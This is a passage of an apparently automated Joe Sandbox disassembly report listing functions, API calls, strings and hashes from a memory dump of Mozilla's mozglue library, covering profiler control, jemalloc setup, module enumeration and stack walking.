Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C9BEBAC

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BEBC1
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000), ref: 6C9BEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C9BEBE5
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8,00000000), ref: 6C9BEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9BEC46
CloseHandle.KERNEL32(?), ref: 6C9BEC55
free.MOZGLUE(00000000), ref: 6C9BEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C9BEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C9BEA9B

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: dc0e570a11e75fe25c97113b306d7a78d782dcb721e55d2628eeb670aab88f1a
Instruction ID: 4367634f18cb5a05e5c36af75126219e7cc532a3e6943760b6742438716be4b1
Opcode Fuzzy Hash: dc0e570a11e75fe25c97113b306d7a78d782dcb721e55d2628eeb670aab88f1a
Instruction Fuzzy Hash: B6A12431704204AFDB009F68E848BAA77F9FF9631CF244169E96997B41DB31D805CBA2

Function 6C9BF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C9BF8F9

Part of subcall function 6C986390: GetCurrentThreadId.KERNEL32 ref: 6C9863D0
Part of subcall function 6C986390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9863DF
Part of subcall function 6C986390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C98640E

ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF93A
GetCurrentThreadId.KERNEL32 ref: 6C9BF98A
GetCurrentThreadId.KERNEL32 ref: 6C9BF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF716

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

Part of subcall function 6C97B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C97B5E0

GetCurrentThreadId.KERNEL32 ref: 6C9BF739
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF746
GetCurrentThreadId.KERNEL32 ref: 6C9BF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9F385B,00000002,?,?,?,?,?), ref: 6C9BF829
free.MOZGLUE(?,?,00000000,?), ref: 6C9BF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C9BF866
free.MOZGLUE(?), ref: 6C9BFA0C

Part of subcall function 6C985E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C985E8C
Part of subcall function 6C985E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985E9D
Part of subcall function 6C985E60: GetCurrentThreadId.KERNEL32 ref: 6C985EAB
Part of subcall function 6C985E60: GetCurrentThreadId.KERNEL32 ref: 6C985EB8
Part of subcall function 6C985E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985ECF
Part of subcall function 6C985E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C985F27
Part of subcall function 6C985E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C985F47
Part of subcall function 6C985E60: GetCurrentProcess.KERNEL32 ref: 6C985F53
Part of subcall function 6C985E60: GetCurrentThread.KERNEL32 ref: 6C985F5C
Part of subcall function 6C985E60: GetCurrentProcess.KERNEL32 ref: 6C985F66
Part of subcall function 6C985E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C985F7E

free.MOZGLUE(?), ref: 6C9BF9C5
free.MOZGLUE(?), ref: 6C9BF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C9BF9A6
Thread , xrefs: 6C9BF789
" attempted to re-register as ", xrefs: 6C9BF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C9BF71F

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 038cbf6e04c6f4e13c8a5b1f933350ceac8e80ef6d1ff761bf28aa4ed57e2432
Instruction ID: 9985594550d92f6bbae3acd70166a0c466bd731ea5a8906e72190a5684e68cdd
Opcode Fuzzy Hash: 038cbf6e04c6f4e13c8a5b1f933350ceac8e80ef6d1ff761bf28aa4ed57e2432
Instruction Fuzzy Hash: CF812379604204AFDB109F64C840AAFB7B5BFE5308F54456DE859ABB51EB30D809CBA2

Function 6C9BEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BEE60
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEE6D
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9BEEA5
CloseHandle.KERNEL32(?), ref: 6C9BEEB4
free.MOZGLUE(00000000), ref: 6C9BEEBB
GetCurrentThreadId.KERNEL32 ref: 6C9BEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BEECF

Part of subcall function 6C9BDE60: GetCurrentThreadId.KERNEL32 ref: 6C9BDE73
Part of subcall function 6C9BDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C984A68), ref: 6C9BDE7B
Part of subcall function 6C9BDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C984A68), ref: 6C9BDEB8
Part of subcall function 6C9BDE60: free.MOZGLUE(00000000,?,6C984A68), ref: 6C9BDEFE
Part of subcall function 6C9BDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9BDF38

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

GetCurrentThreadId.KERNEL32 ref: 6C9BEF1E
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEF2B
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEF59
GetCurrentThreadId.KERNEL32 ref: 6C9BEFB0
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEFBD
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEFE1
GetCurrentThreadId.KERNEL32 ref: 6C9BEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF000

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C9BF02F

Part of subcall function 6C9BF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9BF09B
Part of subcall function 6C9BF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C9BF0AC
Part of subcall function 6C9BF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C9BF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C9BEED7
[I %d/%d] profiler_pause, xrefs: 6C9BF008

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: bc52451eb73348dfcb9b041615a822d805c7aeef08ea4329954dfdecd4ad5a7d
Instruction ID: d42e2d50507ab54e7aa34cc36ec349c21bf2eb2fd658fee257ef1ba240cc17ba
Opcode Fuzzy Hash: bc52451eb73348dfcb9b041615a822d805c7aeef08ea4329954dfdecd4ad5a7d
Instruction Fuzzy Hash: C751A035608214AFDB009F64E4087AA77F8EB5621DF34059AEA7993F80DB75C805C7E6

Function 6C9AD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9FE804), ref: 6C9AD047
GetSystemInfo.KERNEL32(?), ref: 6C9AD093
__Init_thread_footer.LIBCMT ref: 6C9AD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9FE810,00000040), ref: 6C9AD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7B8,00001388), ref: 6C9AD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE744,00001388), ref: 6C9AD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE784,00001388), ref: 6C9AD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7DC,00001388), ref: 6C9AD1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C9AD26D
MALLOC_OPTIONS, xrefs: 6C9AD0CB
MOZ_CRASH(), xrefs: 6C9AD277
<jemalloc>, xrefs: 6C9AD268, 6C9AD311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9AD322

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: b95fafbde65f31599f18b731b81d421568726bf876d9ae2103d2887f8fb992d9
Instruction ID: c6335598f4885b7a747691ee343949a85619e9d4e260fb78a680f910990aec0f
Opcode Fuzzy Hash: b95fafbde65f31599f18b731b81d421568726bf876d9ae2103d2887f8fb992d9
Instruction Fuzzy Hash: 98812271B082049BEB049FA9E944BA977F9FB56B08F340129ED2197F80D771D806CBD2

Function 6C985E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985E9D

Part of subcall function 6C995B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9956EE,?,00000001), ref: 6C995B85
Part of subcall function 6C995B50: EnterCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995B90
Part of subcall function 6C995B50: LeaveCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995BD8
Part of subcall function 6C995B50: GetTickCount64.KERNEL32 ref: 6C995BE4

GetCurrentThreadId.KERNEL32 ref: 6C985EAB
GetCurrentThreadId.KERNEL32 ref: 6C985EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C985ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C986017

Part of subcall function 6C974310: moz_xmalloc.MOZGLUE(00000010,?,6C9742D2), ref: 6C97436A
Part of subcall function 6C974310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9742D2), ref: 6C974387

moz_xmalloc.MOZGLUE(00000004), ref: 6C985F47
GetCurrentProcess.KERNEL32 ref: 6C985F53
GetCurrentThread.KERNEL32 ref: 6C985F5C
GetCurrentProcess.KERNEL32 ref: 6C985F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C985F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C985F27

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C985E8C

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C98605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9855E1), ref: 6C9860CC

Strings

GeckoMain, xrefs: 6C985ECE, 6C986015

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 879eb57fa81daeb3c0e4d3f33cf9cae836301cb760be963e2857cb948e364c12
Instruction ID: ef9d79592df2731dbb70cbf896d98e6238be1df111a7d4ea1d4098208fa9c882
Opcode Fuzzy Hash: 879eb57fa81daeb3c0e4d3f33cf9cae836301cb760be963e2857cb948e364c12
Instruction Fuzzy Hash: 2771A0B0A09740DFD700DF29D480A6ABBF4FF69308F14496DE4968BB52D731E958CB92

Function 6C989590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9731C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C973217
Part of subcall function 6C9731C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C973236
Part of subcall function 6C9731C0: FreeLibrary.KERNEL32 ref: 6C97324B
Part of subcall function 6C9731C0: __Init_thread_footer.LIBCMT ref: 6C973260
Part of subcall function 6C9731C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C97327F
Part of subcall function 6C9731C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97328E
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9732AB
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9732D1
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9732E5
Part of subcall function 6C9731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9732F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C989675
__Init_thread_footer.LIBCMT ref: 6C989697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C989707
__Init_thread_footer.LIBCMT ref: 6C98971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9897B7
FreeLibrary.KERNEL32 ref: 6C9897D0
FreeLibrary.KERNEL32 ref: 6C9897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C989670
NtMapViewOfSection, xrefs: 6C989701
ntdll.dll, xrefs: 6C9896E3
MapViewOfFileNuma2, xrefs: 6C9897B1

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3e9c516aaf32f34f52c933af01da807c0bf2a0de44e21ab0e0de6f84ed66350
Instruction ID: 6356b7e3efdd58ba573dbff7cd5c0bbd756f0aaed52408061c941e8ab07aa334
Opcode Fuzzy Hash: f3e9c516aaf32f34f52c933af01da807c0bf2a0de44e21ab0e0de6f84ed66350
Instruction Fuzzy Hash: 8B61C3717093059FDF00CFA8E884B9ABBF5EB4AB18F214919E92597B80D730E845CB91

Function 6C987FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C988007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C98801D

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C98802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C98803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C98808D

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C98809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9880B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9880DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9880ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9880FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C988133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C988149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C988167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C98817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C988199

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 31c2e909fb7aaac713a6c863a939a6167291d2eafc4cfda1725e828a130346fa
Instruction ID: a4e96918eb729f8fd68750d051436c3370c3aa1c62bde26cae66885d60ea51e9
Opcode Fuzzy Hash: 31c2e909fb7aaac713a6c863a939a6167291d2eafc4cfda1725e828a130346fa
Instruction Fuzzy Hash: 5A51A7B1E01204ABDB00DFA5DC84ADFB7B9AF69264F280525E815E7741EB31DD04CBB1

Function 6C9D6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6694
GetThreadId.KERNEL32(?), ref: 6C9D66B1
GetCurrentThreadId.KERNEL32 ref: 6C9D66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9D66E1
EnterCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6734
GetCurrentProcess.KERNEL32 ref: 6C9D673A
LeaveCriticalSection.KERNEL32(6C9FF618), ref: 6C9D676C
GetCurrentThread.KERNEL32 ref: 6C9D67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9D6868
RtlCaptureContext.NTDLL ref: 6C9D687F

Strings

WalkStack64, xrefs: 6C9D6890

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a30e05defca81efb8dcb0ac9138c3de3d6e713680e6f8b18ca4eebab8b195f03
